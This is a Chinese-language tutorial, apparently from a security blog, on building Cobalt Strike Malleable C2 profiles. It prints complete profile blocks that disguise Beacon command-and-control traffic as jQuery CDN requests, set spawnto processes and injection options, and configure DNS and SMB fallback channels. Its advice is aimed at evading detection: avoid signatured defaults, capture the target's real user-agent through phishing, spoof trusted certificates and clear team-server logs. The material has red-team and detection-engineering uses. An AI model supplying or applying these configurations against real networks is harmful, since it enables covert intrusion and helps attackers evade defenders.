深入研究cobalt strike malleable C2配置文件
字数 1623
更新时间 2025-08-29 08:32:30

Cobalt Strike Malleable C2 配置文件深度解析与实战指南

1. Malleable C2 配置文件概述

Cobalt Strike 最强大的功能之一就是可以通过 Malleable C2 配置文件修改 Beacon payload 的行为。这种配置文件允许操作者:

  • 修改 Beacon 的内存占用
  • 更改检入频率
  • 定制网络流量特征
  • 模拟合法应用程序行为

2. 基础使用原则

2.1 核心建议

  1. 永远不要使用默认值:必须使用自定义配置文件
  2. 修改示例配置文件:不要直接使用公开的配置文件,因为它们可能已被安全产品签名
  3. 注意流量模式:即使使用配置文件,仍会产生"beaconing"网络流量模式
  4. 充分测试:在实际使用前必须进行彻底测试

2.2 语法规范

  • 使用双引号而非单引号:
    set useragent "Mozilla/5.0";  // 正确
    set useragent 'Mozilla/5.0';  // 错误
    
  • 允许使用分号:
    prepend "This is an example;";
    
  • 转义特殊字符:
    append "here is \"some\" stuff";
    append "more \\ stuff";
    

3. 配置文件结构详解

3.1 基本配置项

3.1.1 配置文件名称

set profile "jQuery C2 Profile";
  • 仅用于标识,不影响实际功能

3.1.2 Sleep 时间设置

set sleeptime "60000";    // 默认检入间隔(毫秒)
set jitter    "20";       // 随机抖动百分比
  • 建议值:60秒+20%抖动
  • 太规律的间隔容易被检测

3.1.3 用户代理(User-Agent)

set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362";
  • 最佳实践:从目标环境捕获真实 User-Agent
  • 可通过钓鱼邮件等方式获取

3.1.4 SSL 证书配置

https-certificate {
    set CN "jquery.com";
    set O "jQuery Foundation";
    set C "US";
    set L "Boston";
    set OU "Web Framework";
    set ST "Massachusetts";
    set validity "365";
}
  • 建议使用 Let's Encrypt 等可信证书
  • 对于 Domain Fronting,团队服务器需要有效 SSL 证书

3.1.5 SpawnTo 进程设置

set spawnto_x86 "%windir%\\sysnative\\svchost.exe -k localservice -p -s fdPHost";
set spawnto_x64 "%windir%\\sysnative\\svchost.exe -k localservice -p -s fdPHost";
  • 选择指南:
    • 使用受保护的二进制文件
    • 避免触发 UAC 的二进制
    • 架构匹配(x86/x64)
    • 选择通常会建立网络连接的进程

3.2 通信渠道配置

3.2.1 SMB 信标

pipe {
    set name "\\\\.\\pipe\\mshtml\\mswsock";
    set max_instances "1";
}
  • 避免使用默认管道名称
  • 用于主机间点对点通信

3.2.2 DNS 信标

dns {
    set beacon "cdn.jquery.com";
    set max_ttl "300";
    set sleep "0";
    set data "A";
    set sub "cdn.jquery.com";
    set ttl "300";
}
  • 通常用作低速备份通道
  • 容易被检测但常是防御盲点

3.3 分段过程(Staging)

3.3.1 HTTP Stager

http-stager {
    set uri_x86 "/jquery-3.3.1.slim.min.js";
    set uri_x64 "/jquery-3.3.2.slim.min.js";
    
    client {
        header "Accept" "*/*";
        header "Referer" "https://code.jquery.com/";
        header "Accept-Language" "en-US,en;q=0.9";
        
        metadata {
            netbios;
            prepend "var _0xae5b=[";
            append "];";
            parameter "v";
        }
    }
    
    server {
        header "Content-Type" "application/javascript; charset=utf-8";
        header "Server" "NetDNA-cache/2.2";
        header "X-Cache" "HIT";
        
        output {
            prepend "(function(){";
            append "})();";
            print;
        }
    }
}
  • 模拟 CDN 请求样式
  • 可修改为其他 CDN 如 Microsoft jQuery CDN
  • 考虑使用无分段(stageless)payload 以避免触发警报

3.4 HTTP 通信配置

3.4.1 HTTP-GET

http-get {
    set uri "/jquery-3.3.1.min.js";
    
    client {
        header "Accept" "*/*";
        header "Cookie" "__cfduid=CDA7B23B5D3F3D4A8A4A8A4A8A4A8A4A";
        
        metadata {
            base64;
            header "If-None-Match";
            parameter "callback";
        }
    }
    
    server {
        header "Content-Type" "application/javascript; charset=utf-8";
        header "Cache-Control" "public, max-age=14400";
        header "ETag" "\"5b255987-5eef\"";
        
        output {
            prepend "jQuery(function(){";
            append "});";
            print;
        }
    }
}
  • 可设置多个 URI 增加多样性
  • Beacon 在分段时会被分配固定 URI

3.4.2 HTTP-POST

http-post {
    set uri "/jquery-3.3.1.min.js";
    set verb "POST";
    
    client {
        header "Content-Type" "application/x-www-form-urlencoded";
        header "Accept" "*/*";
        
        id {
            parameter "id";
        }
        
        output {
            print;
        }
    }
    
    server {
        header "Content-Type" "application/javascript; charset=utf-8";
        header "Server" "NetDNA-cache/2.2";
        
        output {
            prepend "jQuery(function(){";
            append "});";
            print;
        }
    }
}
  • 可修改为 GET-only 模式(注释 POST 部分)
  • GET-only 在大数据传输时可能有问题

3.5 内存规避技术

transform-x86 {
    prepend "\x90\x90\x90\x90";  // NOP sled
}
transform-x64 {
    prepend "\x90\x90\x90\x90";  // NOP sled
}

process-inject {
    set allocator "VirtualAllocEx";
    set min_alloc "8192";
    set startrwx "false";
    set userwx "false";
}
  • 使用 peclone 工具提取合法进程内存特征
  • 参考"In-Memory Evasion"技术

4. 配置文件开发流程

4.1 选择主题

  • 分析目标环境网络流量
  • 选择常见、可信的应用程序进行模拟
  • 示例:jQuery、CDN流量、云服务API等

4.2 创建配置文件

  1. 基于现有模板修改
  2. 参考 GitHub 上的示例
  3. 逐步调整各模块配置

4.3 验证与测试

4.3.1 使用 c2lint

./c2lint jquery-c2.3.11.profile

4.3.2 手动测试流程

  1. 启动 Wireshark 捕获流量
  2. 使用测试配置文件启动团队服务器
  3. 创建 HTTP 和 SMB 监听器
  4. 使用 Scripted Web Delivery 部署 Beacon
  5. 测试各种 Beacon 功能:
    • 生成不同架构的 Beacon
    • 执行常见命令(keylogger、screenshot等)
    • 检查流量特征是否符合预期

5. 高级技巧与最佳实践

  1. 流量混合:结合 Domain Fronting 等技术
  2. 动态变化:使用多个 URI 和 User-Agent
  3. 环境适配:根据目标网络调整 sleep 时间和抖动
  4. 日志清理:配置清除团队服务器日志
  5. 备用通道:设置 DNS 或 SMB 作为备份

6. 参考资源

  1. 官方 Malleable C2 文档
  2. 如何编写 Malleable C2 配置文件
  3. 随机化 Malleable C2 配置文件生成器
  4. 内存规避技术
  5. Malleable 命令与控制
相似文章
相似文章
 全屏